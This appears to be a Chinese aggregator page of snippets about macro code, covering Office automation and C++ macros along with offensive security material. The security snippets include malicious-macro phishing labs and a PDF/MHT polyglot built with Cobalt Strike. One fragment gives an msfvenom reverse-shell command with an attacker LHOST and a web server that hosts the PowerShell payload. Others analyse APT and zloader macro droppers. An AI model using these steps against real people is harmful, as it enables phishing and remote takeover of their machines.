日常在写Word报告时候,特别是一些路测报告、项目总结报告,其中涉及到的图片特别多,往往大小不一,很不美观,要是手动一张一张调很费时间(就算调好第一张图片大小...
Office的编程语言较老,和现有高级语言相差较多,导致入门以及编写差异较大,编写和调试不方便,所以一直没考虑过使用VBA进行Office编程,但最近有个需求,...
一、前言 前几天在小小明大佬的Python交流群中遇到一个粉丝问了一个使用Python实现Excel中找出第一个及最后一个不为零的数,它们各自在第几列的问题,觉得还挺有用的,这里拿出来跟大家一起分享下。...后来明佬还基于WPS宏代码实现了这个需求,实在是太强了!我对宏代码实现不了解,这里发出来给大家观摩了,感兴趣的小伙伴自行学习下,如下图所示。 三、总结 大家好,我是皮皮。...这篇文章主要盘点了一个Python实现Excel中筛选数据的问题,文中针对该问题,给出了具体的解析和代码实现,帮助粉丝顺利解决了问题。...文中一共提供了三个方法,分别是使用Python,Excel公式实现,以及宏代码实现,干货满满! 最后感谢粉丝提问,感谢【小小明】大佬给出的思路和代码解析,感谢【皮皮】等人参与学习交流。
多数工具识别该文件为PDF,但办公软件程序可以将其作为常规Word文档打开,若文件具有配置的宏,并且Microsoft Office上没有禁用自动执行宏的安全设置,则将运行宏代码。...首先创建带有宏的mht文件,这里写一个弹框的宏代码,另存为MHT文件。图片然后利用python的reportlab库简单创建PDF文件。...图片图片双击运行,能看到PDF被正常打开,如果打开方式是用Word程序,则会看到Word MHT也能正常打开,并且单击“启用编辑”以退出受保护的视图,能看到运行了宏代码图片图片这里有个需要注意的地方是,...利用CS生成恶意宏代码,再次生成恶意Polyglots文件,实际看看查杀情况图片简单分析MHT文件包含的VBA宏,是以ActiveMime格式存储。
/empire启动Empire报错,缺少OpenSSL 解决方法:使用pip install命令进行安装,发现pip报错,重新安装了pip sudo apt-get remove python-pip...我们以一个简单的例子对宏代码进行分析(样本文件附后[3]),这里启用宏后使用word中的开发功能VBA进行对宏代码的读取(也可使用oledump.py对宏代码进行提取)。...文档感染模板: 1.若当前文档的宏代码中有Marker标识,则当前文档被感染。 2.文档的宏代码拼接当前时间、日期、用户名、用户地址等信息存入模板宏代码中,模板被感染。...模板感染文档: 1.若当前模板的宏代码中有Marker标识,则当前模板被感染。 2.将模板的宏代码放入文档的宏代码中,文档被感染。...(三)思考 1.整个感染过程应该是以一个被感染的文档为源头,当文档传播到用户时,该用户的模板的宏代码即被替换为被感染文档的宏代码。
在本小节中,我们的目的是构造一个存在恶意宏代码的简历文件并将其投放给HR,通过钓鱼控制目标主机 实验步骤 Step 1:首先准备一份简历 Step 2:使用CS生成恶意宏代码 Step 3:弹出界面选择...Listener Step 4:之后生成恶意宏代码 Step 5:之后在word简历中插入恶意宏代码,首先转到"视图->宏->查看宏' 之后新建宏名——shell 清空所有代码,然后将复制的代码粘贴到编辑器中...reverse_tcp LHOST=192.168.174.129 LPORT=4444 -f psh-reflection >shell.ps2 Step 2:启动一个简易的web服务来托管shell.ps1 python2
7月份对同一样本的补充截图如下: 在本次APT攻击中,攻击者通过发送鱼叉式钓鱼邮件,配合社会工程学手段诱导用户运行宏代码,进而下载尾部带有恶意payload压缩包的可执行文件。...开启宏代码的动态调试。...该宏代码作为实施攻击的入口,实现了恶意样本的下载和执行。本章也将分析下载和执行的整体流程。 解压该Office文档后,宏代码被封装在xl文件夹下的vbaProject.bin文件中。...使用OfficeMalScanner这个工具的命令info从vbaProject.bin中提取宏代码,提取完后可以知道有6个宏代码,其中fdrhfaz2osd是主要的宏代码: 动态调试分析宏代码,首先宏代码传入两个值...编写python脚本进行了字符串解密,解密后的效果如下所示: 字符串解密核心算法如下: 入口处获取主机名进行判断是否包含以下6个主机名,攻击目标是否符合: 自我复制到C:\Users\l\AppData
二.宏病毒文档的提取与调试 使用OfficeMalScanner解压Office文档并提取文档所带的vba宏代码,打开Office文档启用宏后,采用快捷键Alt+F11开启宏代码的动态调试。...该宏代码作为实施攻击的入口,实现了恶意样本的下载和执行。本章也将分析下载和执行的整体流程。 解压该Office文档后,宏代码被封装在xl文件夹下的vbaProject.bin文件中。 ? ?...使用OfficeMalScanner这个工具的命令info从vbaProject.bin中提取宏代码,提取完后可以知道有6个宏代码,其中fdrhfaz2osd是主要的宏代码: ? ?...动态调试分析宏代码,首先宏代码传入两个值u和f,分别是请求的url和写入的filepath。 ? ? ?...编写python脚本进行了字符串解密,解密后的效果如下所示: ? 字符串解密核心算法如下: ? 入口处获取主机名进行判断是否包含以下6个主机名,攻击目标是否符合: ?
中 , 定义常量 const int a = 10 可以替换 C 语言中的 宏定义 #define a 10 使用 常量 可以 替代 宏定义 ; 宏定义分为两种 , 一种是 宏常数 , 另外一种是 宏代码片段...; C++ 中使用 常量 替代 宏常数 ; C++ 中用于 替代 宏代码片段 的是 inline 内联函数 ; C++ 中建议开发者使用 " 内联函数 " 替代 C 语言中的 " 宏代码片段 " ;...宏代码片段 示例 : // 宏代码片段 #define FUN(a, b) ((a) < (b) ?...(a) : (b)) 内联函数 示例 : 下面的 内联函数 可以 替换 上面的 宏代码片段 , 二者的功能基本相同 ; // 内联函数 inline int fun(int a, int b) {...a : b; } 2、代码示例 - 宏代码片段 与 内联函数 在下面的代码中 , 分别定义了 宏代码片段 FUN(a, b) 和 内联函数 inline int fun(int a, int b) ,
之后我们在攻击主机上使用Python启动一个web服务来提供Invoke-Shellcode.ps1的下载: ? 之后我们需要再攻击主机上启动MSF框架并设置监听: ?...之后清除编辑器内的所有宏代码,之后复制“Macro”宏代码到粘贴板,之后粘贴宏: ? 之后关闭宏编辑器,同时将文档另存为宏文档: ?...之后在Python提供的Web服务端将会收到两次请求: ? 同时Meterpreter会话将打开,这里就很迷,一下可以一下不可以,暂且过: ? 注册表被修改 ?
2.2诱骗执行 本次攻击时使用恶意宏代码的方式来加载恶意模块,并通过社会工程学的方式伪装成360的提示信息来博取用户的信任,从而诱骗用户启用恶意宏代码。 ?...2.3恶意宏分析 该恶意文档中共被植入了三段恶意宏代码,第一段代码保存在office默认位置,第二、第三段恶意宏代码以十六进制流的方式保存在文档首部。 ?...第一段宏代码(最开始执行的宏代码),从文档首部读取十六进制流保存的第二段宏代码,动态加载并调用入口函数x_N0th1ngH3r3()。 ?...第二段宏代码,从文档首部读取十六进制流保存的第三段宏代码,动态加载并调用入口函数x_N0th1ngH3r3 ()。 ?...第三段宏代码,通过给WINWORD进程创建远程线程的方式在内存中加载该恶意文档中以十六进制流方式储存的Shellcode代码。 ?
详细分析 首先打开文档会看到要启动宏提示,说明是有宏代码的,兰云科技提醒大家再没有明确确认的情况下,不要随便点击office下面的提示。 ? 下面打开宏代码进行分析发现里面的宏代码是加了密码的。 ?...通过脚本对密码进行替换,成功读取到了其中的宏代码。 ? 可以看到样本会获取ShellExecuteA 和GetTempPathA两个API进行备用。 ?...再获取API后,使用宏代码激活样本中的OLE对象。 ? 可以看到样本中有个OLE对象当宏代码激活时会释放到临时文件夹中。 ? 再将这个文件释放到临时文件中后,样本会调用GYUODS函数。 ?
VBA宏代码: ▼ 这个宏代码是论坛上的Excel高手提供的,利用宏代码的好处就是不用加载插件,一劳永逸。...如果想要保存并且以后多次使用此宏代码的话,可以在刚才新建的工作表中插入一个矩形方框,右击选择指定宏,选择刚才的宏文件并确定,再想要使用此功能直接点击指定宏的矩形框就行了,不用再那么麻烦的去开发工具中调用宏代码...当然含有宏代码的工作薄文件需要保存成特殊的格式(.xlsm) 选择文件——另存为——保存类型——excel启用宏的工作薄(xlsm)。 ?
最近出现的 zloader 的恶意文档升级了额外的检测逃避手段,使得确定宏代码的入口点以及额外的分析变得更加困难。 介绍 多亏了 Excel 4.0 宏才让很多恶意代码老树开新花,来!...所有人都必须熟悉这些古老的宏代码。 在 2020 年 4 月初时,宏代码仍然相当整洁: ? 随后,Trickbot 增加了隐藏工作簿、随机位置写入宏等检测逃避的手段让分析变得更加困难: ?...而如果你查看 Sheet2 的内容并缩小比例尺,则会看到分散在各处的 Excel 4.0 宏代码。 ? 寻找起点 困难的是找到宏代码执行的起始位置。...可以尝试搜索 formula 并右键点击搜索到的第一个单元格,然后尝试逐步执行宏代码。 ? 但是,由于该公式依赖已经写入不同单元格的信息,执行会失败。只有发现的正确的起始位置才会发生这种问题。 ?...检测逃避 发现了起始位置后,就可以开始逐步执行宏代码了。
宏代码解析 收件人打开 Excel 文档后会在顶部以红色粗体显示要求用户启用宏代码。Excel 则会显示黄色警告栏,通知用户当前已经禁用了宏,意味着启用内容可能存在风险。...Excel 文件内部不仅使用了自动运行的 VBA 代码(Workbook_Open),还使用了 Excel 4.0 宏代码。...Sub 值 Environ("allusersprofile")& "\KgmsgJbgP.sct"设置成名为 Macro1的工作表的 Macro1是一个隐藏的工作表,包含并执行 Excel 4.0 宏代码...Excel 4.0 宏代码使用各种单元格中的公式执行代码,给定起始单元格后会从上到下、从左到右执行代码。本例代码从 Macro1!A4单元格开始执行。...宏代码提取的数据是带有一段 VBScript 代码的 HTML 应用程序(.hta 文件)。
但是不建议这样做 // 一旦像这样声明 内联函数 // 编译器 编译时 会拒绝该内联函数的 内联请求 // 将其作为普通函数处理 //inline int fun(int a, int b); // 宏代码片段...但是不建议这样做 // 一旦像这样声明 内联函数 // 编译器 编译时 会拒绝该内联函数的 内联请求 // 将其作为普通函数处理 //inline int fun(int a, int b); // 宏代码片段...执行 int c = FUN(++a, b); 代码 , 调用宏代码片段 ; 宏代码片段在 预编译阶段 机械的将宏展开 , 宏替换很机械 ; 宏替换结果如下 : 将 ++a 替换到 FUN(a , b...但是不建议这样做 // 一旦像这样声明 内联函数 // 编译器 编译时 会拒绝该内联函数的 内联请求 // 将其作为普通函数处理 //inline int fun(int a, int b); // 宏代码片段...a : b; } int main() { int a = 1; int b = 3; // 调用宏代码片段 // 机械的将宏展开 , 宏替换很机械
编译器将该函数内联 , 并不强制要求编译器内联函数 , 如果编译器决定不内联函数 , 该 内联函数 作用 等同于 普通函数 ; 最终 内联函数 是否内联成功 , 由 编译器 决定 ; 二、内联函数 与 宏代码片段对比..., 需要根据 C++ 编译器的优化策略决定 , 可能同意 , 也可能不同意 ; 如果 C++ 编译器 不同意 内联请求 , 则该 内联函数 就是 普通函数 , 当做 普通函数 进行调用处理 ; 2、宏代码片段..." 宏代码片段 " 本质 是 宏定义 ; 宏代码片段 是由 预处理器 进行处理 , 执行的操作是 简单的文本替换 ; 宏代码片段 不是函数 , 没有函数那么强大的功能 , 执行时不会进行 参数和返回值
此乃旧文,题目改一下,有点系统性,JSA助攻第一波:可以通过Application.Run接口,让外部程序或VSTO/ExcelDNA项目可以调用JSA的宏代码。...在RPA方案里,这个就简单,直接做好一个xlsm模板文件存放到资源文件里,这个xlsm模板文件预先已经存储了JSA宏代码,从那里复制一个文件再加工就可以了。...经过以上三步操作,重新将解压后的xlsx文件进行zip压缩后,改后缀名为xlsm,使用WPS表格打开后,即可将JSA宏代码加载进文件中并可使用。 如果还想在工作表上,将形状绑定这个JSA宏代码呢?...再次测试后发现,在形状Shape上,对其进行JSA宏代码绑定,最终在xml文件上留下的痕迹是在对应的drawing文件里【xl\drawings\drawing1.xml】,它的xdr:sp节点上多了一个...总结 经过笔者比较xml文件级别的发现,对一个普通xlsx文件,添加JSA宏代码,也不是一个很困难的事,xlsx格式的一个好处是,本质是文本文件,任何东西的添加,最终都能找到源头,发现规律。
在C程序中,可以用宏代码提高执行效率。宏代码本身不是函数,但使用起来象函数。...预处理器用复制宏代码的方式代替函数调用,省去了参数压栈、生成汇编语言的CALL调用、 返回参数、执行return等过程,从而提高了速度。...使用宏代码最大的缺点是容易出错,预处理器在复制宏代码时常常产生意想不到的边际效应。 对于C++ 而言,使用宏代码还有另一种缺点:无法操作类的私有数据成员。...C++ 语言的函数内联机制既具备宏代码的效率,又增加了安全性,而且可以自由操作类的数据成员。 所以在C++ 程序中,应该用内联函数取代所有宏代码,"断言assert"恐怕是唯一的例外。
领取专属 10元无门槛券
手把手带您无忧上云